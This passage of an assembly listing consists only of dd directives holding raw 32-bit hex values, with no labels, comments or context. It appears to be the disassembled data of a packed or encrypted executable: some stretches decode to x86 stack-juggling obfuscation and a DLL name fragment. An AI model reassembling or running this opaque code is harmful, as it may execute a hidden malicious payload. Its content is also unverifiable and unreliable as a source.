2B9EEA76h, 7A52E1B0h, 2C0BF001h, 9D60BE48h dd 38FB590Fh, 27D331ACh, 0F83B0A85h, 65F60C67h, 4EAC5F15h dd 0BF82FD8Bh, 8673B724h, 9346FC96h, 720119BCh, 93C33FB0h dd 24FF0h, 2BFA7500h, 0F60C7A08h, 0D48725D1h, 0A45AAA84h dd 82080C0h, 85B887B6h, 39F60C67h, 0C67CB6Ah, 6A4494F6h dd 804FCA1Ah, 0FC137D5Ch, 0FCCB46C1h, 0F00B7239h, 3407D626h dd 29F00B72h, 5D489D9h, 0EFA30555h, 53F005B9h, 0DD844476h dd 0AC7BF646h, 983E078h, 0D3C275C5h, 87027DEBh, 29DF7D29h dd 8150CB5Ah, 69E4340Fh, 29F873EEh, 3919F0Ah, 1340353h dd 0BD03919Fh, 919F4FEEh, 0E6C01003h, 0BF82E096h, 0A76AE531h dd 6FDCCB99h, 0DF3DF3BBh, 0FD31901Ch, 11BF3CCAh, 9C7085Eh dd 3BE80000h, 25E74591h, 24ED4B97h, 4AF654A0h, 33FA58A4h dd 567761ADh, 76C24E15h, 7AC65018h, 84D0561Ch, 89D56326h dd 69CC9B16h, 0F6F00179h, 19DB3317h, 0D5E9D88Bh, 8538BC85h dd 0A76AE535h, 69B9A8BEh, 0FE792F04h, 19CFA12Fh, 2BA6F6FCh dd 0EBBA35B0h, 0F001D048h, 47F6C515h, 18F001D0h, 0BD700EBAh dd 9671D6Dh, 116FBB41h, 2110C349h, 8150CB9Dh, 0FA1E3B4Fh dd 8FED68B8h, 215ECAC7h, 3DF6C7B1h, 7B43A1EDh, 1DE03EF1h dd 2708308Fh, 4BFEB4D0h, 930F5h, 2AD27F00h, 30BE80DEh dd 37BD86E4h, 3BE18DEBh, 46CA91EFh, 0AEEF10FAh, 0AF0D59E7h dd 0B3115DE7h, 0BD1B67EDh, 0AF226EFAh, 79D66534h, 0A887F001h dd 73AA79C4h, 22F60C68h, 3AFDA77Fh, 2BBACC69h, 46F5C420h dd 17F60C3Fh, 4BC177C7h, 28C672D0h, 1C72575h, 0BA70C073h dd 0FA75F3CBh, 448D937h, 0C110635h, 440757F6h, 0E49A85E8h dd 0B4669A69h, 7FCFFC13h, 52E0A604h, 0FAC3219Ch, 0AD7CF772h dd 0F00B7B8Eh, 7DC97FCFh, 0BD38308Eh, 111729EEh, 0A72272FAh dd 0AEFA8649h, 0A0FF8D50h, 0B4CBF1A2h, 8A7BD184h, 25000008h dd 2A88D478h, 308EDA68h, 3391DD67h, 3B99E587h, 0BAA4F074h dd 0B996099h, 139961BFh, 1DA369C7h, 24B073D1h, 1BEA65D8h dd 0F0017818h, 6A826645h, 0F60C67C7h, 40BB490Ch, 0EE53A37Dh dd 6228DED0h, 81D121D4h, 2E907FCBh, 0F7F0BF3Ah, 5CFC13ABh dd 6D33910Ch, 773D9BE7h, 0B0F56776h, 0B786D559h, 0F00BB484h dd 0E93989D9h, 81BE036h, 7650000h, 1D01B745h, 79F4744Ah dd 13941AAAh, 3C0563FCh, 0A95CE2AAh, 6B90959h, 0B4B0837h dd 0F34BEEF0h, 0CA5AE2A4h, 16F2299h, 0DB3E0000h, 7EDC8F15h dd 57B530B6h, 0F6540795h, 0A258A82Eh, 42CE91EFh, 726B318Fh dd 14587F37h, 875643D9h, 0A9C72399h, 308E0959h, 0D727DA84h dd 752BB179h, 7F05CB29h, 578E51CCh, 0CF780068h, 2F8D7C32h dd 0EAFC3F0Eh, 1161F60Ch, 0C7746C1h, 61F60CE5h, 27CA5E11h dd 76FCC20Fh, 8006CC2Ah, 51FBA705h, 0E154239Eh, 7EF60CEAh dd 9463DE2Eh, 0F60CEAA1h, 5B86EBEh, 0EBB10F8Ah, 0EAA79665h dd 7134F60Ch, 3B909E3h, 0CE51534h, 0CF2DA8F6h, 79C97C08h dd 0BB0620C3h, 34236FF5h, 0EA65E088h, 873AC48Ch, 7BB28137h dd 0D4F60CE5h, 0AB73D184h, 0DF5AD521h, 0CEA2D10h, 2CE232F6h dd 0CD8006CEh, 6D20AC6Fh, 0D11C36D9h, 28AC7509h, 82BFA75h dd 55F60CEAh, 0EA65B505h, 400FC48Ch, 0F60CEAFDh, 0FC21262h dd 5FBD09BFh, 6B5A0D97h, 0CB9A1553h, 0FC130CE5h, 3E6FAF72h dd 0AB7D1F16h, 0E9B10F5Bh, 33F98D55h, 5AAA5DADh, 0A5CC8F0Ah dd 0E045F2CAh, 0DAF5BB9h, 7B5A457h, 0D6BE661h, 0BC0CBF45h dd 5309975Eh, 0B79B584h, 9F52A2F0h, 6932900Bh, 0B08A2DE3h dd 5CD75D25h, 88AE1EE1h, 6CA7A6B9h, 0BE19E9Dh, 0B96FBFF0h dd 0AF470F6Dh, 590C5CE8h, 9914546Ah, 140D5ECAh, 8149A7FAh dd 35F848FBh, 0C2B5E8E2h, 0ACF84848h, 0B400864Eh, 0B6029056h dd 0F4744AD2h, 97E6AA79h, 0DF2FFC13h, 0A753B12Ch, 4C025205h dd 239E2CEEh, 485AD9A8h, 0B303F00Bh, 4ACDB1FDh, 9C2AEC8Eh dd 964999E9h, 69F7BD1Bh, 0E1B066B6h, 0F60C675Eh, 735DF598h dd 0BC14F15h, 0C32EA96Bh, 5CE993h, 0DB050000h, 30B47D19h dd 2A6A2D7Dh, 65535DE2h, 0CB46C111h, 0CC339FCh, 13D626F6h dd 7E76B2D7h, 0A3560C4Ah, 0C2E61D4h, 89A144F6h, 7D46A41Fh dd 25F444F7h, 0F60C2E16h, 87587C5Eh, 8C66C4A4h, 6628863Ch dd 0B2BD8CD8h, 9FF60C72h, 48984BD9h, 0FF85A2F8h, 0C927FFFFh dd 7ACA7D03h, 60BEE0C4h, 7570AB4h, 0AC5FFDA9h, 8548A65Ch dd 0D2B97CF7h, 77F258Eh, 0D55F2785h, 381CD222h, 8E4AA286h dd 9ED16FAh, 0C322E799h, 5A6C2F96h, 0A0B1AD93h, 391EA157h dd 3A000000h, 16FA8E4Ah, 674CEFBEh, 0C111F60Ch, 0BEDABEDDh dd 819D9E60h, 20C21422h, 0B505B808h, 26DFA1FFh, 0CF9E457h dd 0D92979F6h, 0B71590F5h, 64B467F5h, 24E3CAAEh, 0FF000000h dd 16FA8E4Ah, 674CEFBEh, 3181F60Ch, 0DBDABE4Dh, 0B2108B19h dd 61B164EAh, 1590C7ABh, 0B467F5B7h, 0DBCAAE64h, 0B10F8A12h dd 0CE6D3C05h, 8FF60C67h, 8639EF3Fh, 5FE5AD0Bh, 675BDAA9h dd 0A74AF60Ch, 0F379428Fh, 7553D8A7h, 0DC32F60Ch, 0FFFFF320h dd 8B19DBF8h, 0FA6E503Fh, 9AD0B07Fh, 0D525FC13h, 9D49A722h dd 46FC4CFFh, 0B55C877h, 0B38B2EF0h, 0CA5D22E4h, 0A1A76A99h dd 40EAF4C5h, 0A0DDF52Dh, 71C14049h, 738BBh, 0E3540000h dd 1, 0F4744AFFh, 0CC581B79h, 9813C919h, 6913BF1Dh, 95C4E4B3h dd 0E131FC13h, 0B53F0866h, 0ED14CFFh, 9C46FDFDh, 36944AE0h dd 0CB9AE674h, 0F00BB7BDh, 0E632C086h, 8134C288h, 0AA6CF3C8h dd 420B691Ch, 0EC8F07BAh, 8A2D9552h, 0E1AA08B0h, 8147A55Bh dd 541A78F3h, 6ECC18CEh, 0BB490FABh, 0FF5DD86Bh, 9BF9AC38h dd 43F949D3h, 0DA2322E5h, 6699D30h, 0B8C1F6Fh, 4003CE68h dd 0BE1BFFB4h, 0DCB489FBh, 81299DD6h, 84C487DDh, 0E94C1B62h dd 76F60CF9h, 8C5BD626h, 0F60CF9A9h, 10B066B6h, 9443C14Eh dd 0D58Eh, 43BEAA00h, 0C67C174h, 984E9EF6h, 0DA5513A9h dd 752BB97Ch dd 41EFBE91h, 86F60C67h, 67F93C0Bh, 1666F60Ch, 0DABEE2C6h dd 0AB460BEh, 0C99EB154h, 0A88C18DBh, 8E4AA286h, 9ED16FAh dd 0C322E799h, 4B2796h, 4A430000h, 3D00CF8Eh, 22F60C67h dd 0BE9E82D2h, 0C674CEFh, 46C111F6h, 0AA01EB83h, 6C2288DCh dd 0DBDABE88h, 95108B19h, 0C6777C6h, 0D598E8F6h, 4D1320C0h dd 0D9BD7301h, 0AB460BEh, 677DC08Fh, 92E2F60Ch, 0E34F33DCh dd 40h, 0EC8E4AFFh, 9BEB9E40h, 43BE674Bh, 0E7EDA080h, 22D8B412h dd 0C8DE053h, 0B99DEDF6h, 0C17443BEh, 9EF60C67h, 3104D34Eh dd 2EF60C67h, 0C9AD28DEh, 0B67D19DBh, 0D727772Ah, 0B71590F3h dd 0CDB167F5h, 0FFFF02E3h, 18DBFFFFh, 0E35ED98Ch, 0C672114h dd 38EE3EF6h, 3D8917DAh, 0D685704Eh, 0D25FA1D2h, 0BDA55A5h dd 0FC1384D5h, 501FD222h, 0F00B8BE1h, 0B0C98C07h, 202AE37Dh dd 0AF872AE0h, 0CA431EE0h, 40086699h, 527D00B6h, 2000000h dd 0A356F8A4h, 4AB99D53h, 0FE79F474h, 5625DEA0h, 0F60C67E7h dd 22D82878h, 13754153h, 0F3C23DFCh, 0F00B6A40h, 6DF7BF1Dh dd 3D8D671Dh, 0C5940F8Ah, 0F00B6A76h, 12E197E7h, 0F00B6A2Fh dd 7F0C26C9h, 99CA3BBDh, 0E5FDh, 61248200h, 1AD020D3h dd 9E60BE36h, 570D5D10h, 0F7AA36F9h, 7740D299h, 0C4229DEDh dd 73C37618h, 0E9AC0ABDh, 874AA85Bh, 0E7DEADF9h, 0C4F60C6Ch dd 0C9277301h, 0D8C77A06h, 380782E6h, 0FC138F60h, 2A1965B5h dd 8A59D494h, 0FA113454h, 6DFBBE1Ch, 20EF6ABAh, 0F602EB1Dh dd 623CF242h, 0C78AF89Fh, 2D645F8h, 7CA1AF6h, 75C5A203h dd 4FD59CFAh, 52DEA503h, 0CC1259F3h, 247A2DB4h, 251h, 0BF0BB15Eh dd 0C5119F61h, 0CA169E67h, 0D21EC06Ch, 0DB27AD74h, 0D097D0F1h dd 0D29AF844h, 0DCA2004Ch, 0E9AC0A56h, 219C0F5Bh, 142E352h dd 0B99D7CF0h, 0C8D1FBBEh, 0A9BD8A4h, 932FF654h, 459548CCh dd 0E59824E7h, 9BF94595h, 73D14CD8h, 0CB511AACh, 0C578C818h dd 0F873BF75h, 0E6D8D19Ah, 32A631BDh, 9590C5Ch, 744A6F53h dd 2AAA79F4h, 73FC1375h, 9EA17023h, 58F00B6Ah, 4C0E9DB5h dd 8C99CA3Ch, 0CCh, 6118DBA8h, 0E2B13B03h, 0F60C6753h dd 5EECAE0Ch, 0AD0BBE0Eh, 81DF5AE6h, 0D85C25B9h, 0CF85D525h dd 5726A11Ch, 0F60C67E4h, 672A09D8h, 0E333F60Ch, 3403B909h dd 0F60C6CB9h, 82BFA75h, 0D1F60C63h, 57A7810Fh, 0E68043A1h dd 8FDF9220h, 0D295F33Fh, 1AA49346h, 8958D34Eh, 0F60C63AAh dd 32AD63B3h, 138FB563h, 4692E2FCh, 2CF36757h, 55A5F5A8h dd 28740BDAh, 71C1FA11h, 43D198F6h, 4ED299F7h, 0CC3067EFh dd 166C1FB4h, 141h, 0CF1BC16Eh, 0D521AF71h, 0DA26AE77h dd 0E22ED07Ch, 0EB37BD84h, 0E0A7E001h, 0E2AA0854h, 0ECB2105Ch dd 0F9BC1A66h, 31AC1F6Bh, 141D362h, 0C9AD8CF0h, 159014DBh dd 0B366EEB7h, 361AD63h, 8468B440h, 0D98C18DBh, 0E02CB87Bh dd 209BCDF1h, 138C1F51h, 9D1868FCh, 0A4F07C3Fh, 7AF58346h dd 14CA541Ch, 9C6BE661h, 0F00B4399h, 18A668C6h, 9B2312C8h dd 58352CDh, 72FA1E56h, 829DC322h, 7E31B4D0h, 0BC28h, 0A646F300h dd 0AC3AFC5Ah, 0B3390260h, 0BF5D0967h, 0C24E1573h, 326B8C76h dd 3B99E56Bh, 3F9DE973h, 419FEB79h, 33A6F27Eh, 404AE9B8h dd 3413F001h, 0C9744A50h, 0C673BFAh, 84D424F6h, 73A63A09h dd 0BF0FFC19h, 5DEBAE0Ch, 64F0B311h, 0ED17E2B1h, 7F22F8ACh dd 0C9571AA7h, 3104D34Eh, 2EF89412h, 61DC28DEh, 399F2E9Eh dd 915A2FA2h, 0B808580Bh, 53E1A402h, 0F89642A0h, 881EE745h dd 318134C2h, 0DD02EE1h, 0B154CC7Fh, 4BC65A99h, 0C1C37688h dd 0F0A6EAE0h, 25E8F54Dh, 2AED4B97h, 3C60239Eh, 86C74B9Fh dd 0AA00B369h, 11h, 9A60BEC6h, 196590Ch, 1CC85211h, 8C782E7Eh dd 8E2EDBA8h, 2EBA7DDBh, 0C9571D7Bh, 66F0B816h, 28E55B3h dd 0A62AF14Fh, 43E995F3h, 0E3693290h, 8210D230h, 89567ECFh dd 4C681E6h, 81000000h, 4EEh, 24348700h, 2404895Ch, 81E78957h dd 4C7h, 4EF8300h, 5C243C87h, 56242C89h, 0C681E689h, 4 dd 4EE81h, 34870000h, 3C895C24h, 7D6D6824h, 4890000h, 0C78B824h dd 0C589060Dh, 3C8B5458h, 4C48324h, 8904EC83h, 478F242Ch dd 2434FF08h, 4C4835Fh, 53242C8Bh, 0C381E389h, 4, 4C381h dd 1C870000h, 0AE95C24h, 0FEFFFA54h, 0D080959Fh, 0AEF161D2h dd 8AC03EFEh, 0F9B8B6FDh, 3060D27h, 85C650C5h, 6071525h dd 17256847h, 0B5FFCF38h, 6072939h, 388D858Dh, 0D0FF0607h dd 858DD88Bh, 6072411h, 1046850h, 0D3FF0000h, 152585C6h dd 68530607h, 8307F8BFh, 2939B5FFh, 858D0607h, 607388Dh dd 8589D0FFh, 60D0A59h, 129BD83h, 0F000607h, 0B84h, 899D8B00h dd 0E9060711h, 5, 0BBh, 1006800h, 0B58D0000h, 60D0A5Dh dd 95FF5356h, 607280Dh, 0A5DB58Dh, 0F003060Dh, 1E9h, 3E804E00h dd 9840F5Ch, 80000000h, 850F2F3Eh, 0FFFFFFEDh, 8D0006C6h dd 0D0A5D85h, 95FF5006h, 60D0A59h, 87E0FF58h, 8021A878h dd 0D25849EEh, 0B122426Bh, 9032F5DEh, 924CD53Ch, 0DA164A7Bh dd 0A8756075h, 0FF48D22Fh, 3837BDCEh, 0BE3BB2EEh, 0A912175Fh dd 69692A1Ah, 0F9071DFDh, 510C052Dh, 0D00198D5h, 0DD3CBF5Ch dd 7652874h, 0F7722EB7h, 8D3A3F19h, 0D2A318Dh, 0FD858906h dd 89060731h, 70A018Dh, 25850906h, 0C706071Dh, 714A585h dd 743806h, 599D8B00h, 0C7060705h, 72FD585h, 6, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 6FA38225h, 0F95E2B2h, 9D89C1BFh, 6070F01h, 1559B5FFh dd 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0A4327FC3h, 0B1B589ADh, 2B060709h, 70331B5h dd 1995FF06h, 8906071Ch, 714158Dh, 8DBD8906h, 6A06071Ch dd 6995FF00h, 8B06071Bh, 9339EBC0h, 6A74AB0Ch, 463AC2F5h dd 0D1327AE9h, 0BF3C4C85h, 0B422D9F4h, 1F889FFBh, 0EBFE256Eh dd 72F3C6F7h, 7366A97h, 77C683C6h, 914166Ah, 15F632D1h dd 10157690h, 2D5FE87h, 2AE68D8Dh, 0F98B060Dh, 0A018D89h dd 8AF90607h, 0A585C7C3h, 2C060714h, 3300006Eh, 70069B5h dd 0D585C706h, 6072Fh, 0F000000h, 681h, 3D958900h, 0FF060717h dd 719D5B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 0E9343A48h, 9, 53B26601h, 0F978DF7Ch dd 1995FFF2h, 0F806071Ch, 95FF006Ah, 6071B69h, 7FEBC08Bh dd 0D8A6CE15h, 5A00E84Dh, 3816E60Fh, 0DF1DE1Fh, 0BA4119EEh dd 3CAE9F31h, 6BA3DE01h, 23D92754h, 0A6AADF5Eh, 2228593Ch dd 0CF10AD2Dh, 9382B582h, 77FC6A65h, 51043D0h, 0E8BE6954h dd 54348E9Bh, 356584FEh, 0AC5E479h, 321DCF31h, 554FF78Ah dd 6FE88208h, 0C86DE461h, 0E70D60F4h, 490D5A0Eh, 0EEA55471h dd 5C3B8141h, 70144F50h, 804F7C63h, 0B7F6D4CAh, 9A328D82h dd 271CA8B1h, 0E864ED11h, 14h, 32187F1Fh, 29A65137h, 0C3E1D250h dd 112EDB20h, 6817D796h, 1ED2DDB8h, 0C7815F70h, 6542h dd 131850Bh, 0BE0607h, 0F9000000h, 0F3E34FFh, 68Fh, 0D9BD8900h dd 5906070Eh, 7EE981FCh, 0F621CBDh dd 68Ah, 0AD9D8B00h, 81060717h, 4DDB28F1h, 2850F40h, 8B000000h dd 91E981DAh, 8B3FD220h, 7306595h, 370C8906h, 7DBD3156h dd 5B06071Dh, 28F0Fh, 90B20000h, 1A4EEE81h, 0C681479Dh dd 479D1A4Ah, 81C1BF0Fh, 0FF9B60FEh, 95850FFFh, 0E9FFFFFFh dd 0Ah, 32C604EBh, 35C98645h, 12E89BB5h, 6E000000h, 3682561Bh dd 0DEBC1CEFh, 0B3E37FF0h, 7737F00h, 13E9BDh, 98530000h dd 0C2E8FFD8h, 0CF723B6Fh, 0C4576B54h, 19E4DD47h, 0B8665E2Fh dd 0C681B093h, 626Dh, 38A0Fh, 8B660000h, 0E9C92BC7h, 8 dd 0CAE5601Ch, 49DC9887h, 8B0E1C8Bh, 704F585h, 0CFF38106h dd 0F4DDD5Ah, 685h, 6DB52900h, 8106070Ah, 5F6026C3h, 18D8959h dd 81060705h, 91F219C3h, 0E1C8922h, 0CE953h, 0F60000h dd 0BDAAE458h, 9C9A9FFDh, 8158C1A8h, 0B9FCF4D8h, 4E9837Fh dd 0F532B866h, 9E4CF981h, 850FFFFFh, 0FFFFFFA4h, 0E8D0Fh dd 8B600000h, 73209B5h, 0B9B58B06h, 6106070Ch, 1B9026EBh dd 0AFEC33B6h, 746E558Eh, 2E6C6C64h, 6C6C64h, 7462188h dd 0A3D25D34h, 7E5E6197h, 2 dup(0) dd 6BCE9h, 2E4F6800h, 76E9060Dh, 68FFFA4Fh, 60D2F23h, 0FA4F6CE9h dd 2FCF68FFh, 62E9060Dh, 68FFFA4Fh, 60D30B2h, 0FA4F58E9h dd 319E68FFh, 4EE9060Dh, 68FFFA4Fh, 60D3270h, 0FA4F44E9h dd 0CE6E1BFFh, 0D4622482h, 0DB612A88h, 0E785318Fh, 0EA763D9Bh dd 5A93B49Eh, 63C10D93h, 67C5119Bh, 69C713A1h, 5BCE1AA6h dd 4A2211E0h, 5C3BF001h, 0A49766E1h, 0B9F0014Ah, 0E3CFB369h dd 13h, 8C18DBFFh, 2CB87BD9h, 672E11E0h, 0EDB3F60Ch, 0BE371B67h dd 0C0306DFBh, 5BBFAFFh, 45C0A816h, 824DB182h, 560C8BD6h dd 0A4000CDBh, 9CCFC13h, 0D8257772h, 0AD37001Fh, 0A45AAAFAh dd 0F8C77ACAh, 0F00B7A49h, 65320CAFh, 99CA4BA3h, 251E3h dd 0F780FF00h, 0E89DFDFh, 6771C493h, 9EEEF60Ch, 924683DBh dd 46FC8EC6h, 0B0D8FCCBh, 0F545FC13h, 0D7DF7140h, 0AB13BC3Ch dd 1870C392h, 0A0693425h, 3F19691Ch, 0A9249FEFh, 60BE17E6h dd 13C9E811h, 3A48D844h, 32E5353Eh, 3650F4B7h, 0DAA5203Fh dd 0DF893524h, 0C3B69564h, 0B7073838h, 8D1BDE3Ch, 6920E341h dd 280C9B9Ah, 0F974C434h, 280C0B2Ah, 0B4045434h, 0B666A155h dd 5CB265F2h, 4D9h, 93DF7D2Ah, 99E57335h, 9EEA723Bh, 9EEA9440h dd 9FEB7940h, 8C5394B5h, 965EBC08h, 0A066C410h, 0A568C612h dd 0DD58CB17h, 1492F0Eh, 6D5130F0h, 0D98C18DBh, 1994D4EAh dd 13795A4Ah, 0D853A3FCh, 0CF66CC15h, 0BE53D00h, 0FD222F0h dd 8E446B86h, 0E8008942h, 0B91792D6h, 69B96CF0h, 2B6938B3h dd 74FA14D8h, 79F46F24h, 0CD78BAAh, 0CE84D4F6h, 0AA9157FFh dd 0DE17A78Eh, 0B697794Ch, 8904542Eh, 8E0F52BAh, 0F06BBB64h dd 6EBF232Dh, 0CDC621BDh, 0B8B679ADh, 0EF7D40D2h, 0E69CEC3Ch dd 0EE7A4433h, 52531573h, 4AEB34A8h, 0AA60B09Eh, 9456B42Fh dd 0A2815006h, 1B628CC2h, 2FF250CBh, 7CDA55A1h, 27772AB4h dd 0C4501371h, 4A679B65h, 66BC6F1Ch, 405h, 5FAB51FEh, 65B13F01h dd 6AB63E07h, 72BE600Ch, 7BC74D14h, 70377091h, 723A98E4h dd 7C42A0ECh, 894CAAF6h, 0C13CAFFBh, 14843F2h, 593D1CF0h dd 0D98C18DBh, 4421D4EAh, 6FF947A9h, 69E45FAFh, 0E3AB430Bh dd 656A659h, 0A3AF8150h, 0C818FC13h, 9D27EF4Dh, 0C2209BE7h dd 0D3C27816h, 87027DEBh, 5CFE3D0Ch, 0F5FF00Bh, 0AF868A59h dd 0BF0FFA1Eh, 9523E644h, 8E28EB49h, 3CEF3FC5h, 13A163C1h dd 0ED506E5Dh, 6701F1Eh, 0A0F040F6h, 0B3556225h, 3E5D8896h dd 523E0D88h, 0C3FC1995h, 0C8189C65h, 0CD94A169h, 6CC275AEh dd 359h, 135FFDAAh, 1965F3B5h, 1E6AF2BBh, 1E6A14C0h, 1F6BF9C0h dd 0CD31435h, 16DE3C88h, 20E64490h, 25E84692h, 5DD84B97h dd 148AF8Eh, 0EDD1B0F0h, 0D98C18DBh, 1994D4EAh, 1391064Ah dd 69318FFCh, 106D30E3h, 1E0F0302h, 0E53181D1h, 1C88Fh dd 0FC80AB00h, 138EDAE4h, 0F08E3A98h, 7D296B3Ah, 2676FC13h dd 4A6D30ABh, 1BF63D44h, 0FD56E5B4h, 8C07F00Bh, 0BFD7EBDh dd 3F8FDFF0h, 0FA05D489h, 0D6ED4EC5h, 360580E8h, 0F28E94Eh dd 0F27E419Fh, 0A574EF3Fh, 3301696h, 742777C7h, 0B42F3985h dd 16CB6A39h, 44940330h, 0E144138Eh, 0BD092AA9h, 5A0D975Fh dd 2A7A540Ah, 28E51AFh, 0DD632987h, 5DE0AF2Ah, 2053A66h dd 18E762B2h, 53A6625h, 0E834EA3Ah, 0DA39C78Ah, 0C1A4D03Ah dd 76C71DD0h, 8D000002h, 92F03CE0h, 98F642D0h, 9BF945CFh dd 0A3014DEFh, 220C58DCh, 7301C801h, 7B01C927h, 850BD12Fh dd 8C18DB39h, 8352CD40h, 0F00157B0h, 0DBEACEADh, 0EAD98C18h dd 0BB1994D4h, 6CBC6FF5h, 786C3BB6h, 0C5FC1379h, 0B07FFA75h dd 0F00B768Dh, 80CC82D2h, 942A42C7h, 4A8A59D4h, 0D3FA146Ch dd 0E3AA0883h, 1C049A5Dh, 29129F57h, 0E543BE73h, 8EDE911Fh dd 0FD0D09D8h, 97F584EEh, 3E8E41EBh, 0CECE7F7Bh, 954B1AAFh dd 0D55018A6h, 0EF8A9C12h, 28A30AE5h, 0ED26DA59h, 7D338378h dd 0C5493302h, 56A672F2h, 29B77DDBh, 0EDD1C073h, 1231007Bh dd 0CA74F085h, 4ABD804Fh, 52A278E0h, 0F772C29Ch, 332017Ch dd 5C78E04Ah, 35F8560Ch, 0CA581E7Ch, 45F8C717h, 9678E04Ah dd 429245D3h, 7CC81868h, 6ECD5B1Eh, 25EEA4B0h, 8A5DB366h dd 79000001h, 86E430CCh, 8CEA36C4h, 8FED39C3h, 8FED39E3h dd 6F03CC8h, 57DDA4E5h, 5FE5AD0Bh, 61EFB513h, 68F4B715h dd 5F2EA91Ch, 0F00156DCh, 0DBBEA281h, 0EAD98C18h, 9E1994D4h dd 0E87C95DBh, 32E82F22h, 138ACD63h, 9EEA3AFCh, 0F4744ABAh dd 0C9531B79h, 71C99813h, 0DAFC1994h, 0EEB10F8Ah, 0A551AF62h dd 0B4045407h, 8D0883FEh, 14B7FBEh, 0DA90E0F0h, 571DB97Ch dd 76C616C9h, 7B09CC2Ah, 83E5D9C8h, 87C4508h, 0CB513DB7h dd 5DCB9A15h, 0AAFA14FBh, 0E964DF5Ah, 0C241B1Ah, 3EF444F6h dd 148F1DE0h, 6E3DEEB6h, 0F60C24CFh, 3DF04090h, 8DEB37EDh dd 9C8B3ECAh, 0FCCB4622h, 0FC13D494h, 0E5113E01h, 0F67C7062h dd 96E147A6h, 0D285AED3h, 0B87Ch, 0FE9E4B00h, 49254B2h dd 0B915AB8h, 17B561BFh, 1AA66DCBh, 8AC3E4CEh, 93F13DC3h dd 97F541CBh, 99F743D1h, 8BFE4AD6h, 55F24110h, 8C6BF001h dd 9960BEA8h, 5866550Bh, 672716E5h, 0E838F60Ch, 0FC4E1D98h dd 45FC1994h, 0DE913BE7h, 0C33E8Eh, 0E02CB55Bh, 0B96C225Eh dd 0C00C985Bh, 5E119F62h, 52E7FA8Fh, 0AB26A168h, 526859DCh dd 0E0A80688h, 0E6A80656h, 9F55A558h, 0D49722FCh, 0DB9EFC48h dd 0C11F9A4Dh, 71C174F8h, 0BB15DBBh, 0AC32FA58h, 4AD29BF9h dd 0ED733997h, 7774CE71h, 0DBE640E3h, 0E2408C18h, 88DE911Fh dd 0Dh, 70C3920Dh, 0ED885268h, 4D03E79Dh, 8E2EDB69h, 2EBA7DDBh dd 0C9571D7Bh, 66F0B816h, 28E55B3h, 0A62AF14Fh, 43E995F3h dd 0E3693290h, 8210D230h, 0E5687ECFh, 89000052h, 5368242Ch dd 89000025h, 8E68243Ch, 89000057h, 0B850240Ch, 3E68341Eh dd 0A4F922BFh, 8BC701C7h, 0C4812404h, 4, 240C8B54h, 5304C483h dd 8BBh, 81EB8100h, 13C4D23h, 81C381CBh, 893C4D23h, 34FF5B3Bh dd 0C4815924h, 4, 51243C8Bh, 0C181E189h, 4, 8704C183h dd 0E95C240Ch, 0FFFA48C9h, 7D5FC523h, 334DB8A7h, 0C503060Dh dd 0FE1EE0FFh, 994A7A73h, 3D45B7Ch, 43763120h, 3AE10A84h dd 83BF00F8h, 55432CF5h, 93B115D0h, 3B975E5Dh, 3DA32D16h dd 0B0F2238Bh, 59963AB2h, 89B27230h, 0ACA34402h, 9DDF449Bh dd 2F595FDFh, 9D396F0Eh, 5B1F7CBFh, 0DFE93317h, 0C59138C5h dd 0C58915F4h, 52663100h, 14E84072h, 13000000h, 51711C12h dd 5E8D7698h, 0E771BA81h, 3EC211A2h, 0F814E0BCh, 6E95Bh dd 0A7960000h, 82AF4B68h, 5AF4C381h, 68FC0000h, 0 dd 8EFC72BAh, 0CE815F51h, 0D491694h, 8B3B0C8Bh, 53C181C7h dd 81416B17h, 0B77F2DF1h, 69B8570Ah, 5A60BA58h, 14B4E981h dd 0B8665784h, 665140EDh, 48FD78Bh, 0E281663Bh, 0BF0F3569h dd 4EF83D2h, 0FF816DB0h, 0FFFFA588h, 0FFBE850Fh, 8166FFFFh dd 0EB95B5D0h, 8, 0C302EF00h, 4EAE940h, 0D7680000h, 0E9060D35h dd 0FFFA47C5h, 0D366C68h, 47BBE906h, 0E468FFFAh, 0E9060D37h dd 0FFFA47B1h, 0F5B01AEh, 1561EFB1h, 1A66EEB7h, 226E10BCh dd 2B77FDC4h, 20E72041h, 22EA4894h, 2CF2509Ch, 39FC5AA6h dd 71EC5FABh, 15393A2h, 9EDCCF0h, 0DD9014DBh, 0B530BC7Fh dd 34FA9457h, 5BABFBAEh, 546A59A5h, 6ECA9914h, 0F7FC1371h dd 7CE2CA7h, 681BA96Bh, 5F12C818h, 0B6DA190h, 0E56B32F0h dd 880ED432h, 0FD55F8D5h, 3812B5FEh, 0CA38A96Bh, 339E999h dd 106E0000h, 2105BB49h, 35CAFBBEh, 916B539Dh, 7C9422DBh dd 0DCAB2642h, 0FC1338B8h, 11E095E5h, 0F5769EB7h, 0B63A015Fh dd 0BBAD1100h, 0EC4AC540h, 99E99C2Ah, 6E516BCAh, 0EEA4F40Dh dd 71A7C91Fh, 73EE3E07h, 780A29F8h, 3530B69h, 13AB9A4Dh dd 510BDA55h, 1D0176BFh, 4060D3A2h, 0ADFD0D6Eh, 52CD1DF7h dd 3B279D7h, 6E400134h, 0BE0E5E0Dh, 0A705BB0Bh, 62DD58E4h dd 6E40A093h, 0B76DBD0Dh, 0BE4A0D6Bh, 78B2485Fh, 0D72DE0B9h dd 312h, 1B6705B2h, 216DFBBDh, 2672FAC3h, 26721CC8h, 277301C8h dd 14DB1C3Dh, 1EE64490h, 28EE4C98h, 2DF04E9Ah, 65E0539Fh dd 152A796h, 0F5D9B8F0h, 0C9A60BEh, 64530959h, 0C4930E5Ah dd 0FC199C15h, 0D75D2482h, 53AE8D5Ch, 5FAFF001h, 6F36940Fh dd 3DA366E1h, 0AA6B50E4h, 920D590Fh, 0C6937FCFh, 78F31537h dd 1648AA9h, 0CD83D3F0h, 22F1A86Fh, 0F0016413h, 0F9ACFC4Ch dd 164042Ah, 0E09CCF0h, 0EB16411Fh, 0F5B816CCh, 0C7A90867h dd 0ABDBAE8h, 27DB4h, 0F29A4700h, 0F88648A6h, 0FF854EACh dd 3A955B3h, 0E9259B7h, 76B7D8C2h, 77D521AFh, 7BD925AFh dd 85E32FB5h, 77EA36C2h, 510E2DFCh, 704FF001h, 9A60BE8Ch dd 5309590Ch, 930E5A64h, 6FCE9D18h, 7F60C67h, 71D6529Fh dd 0EB3B15CBh, 75B36635h, 94E4FC19h, 0BA2F12E1h, 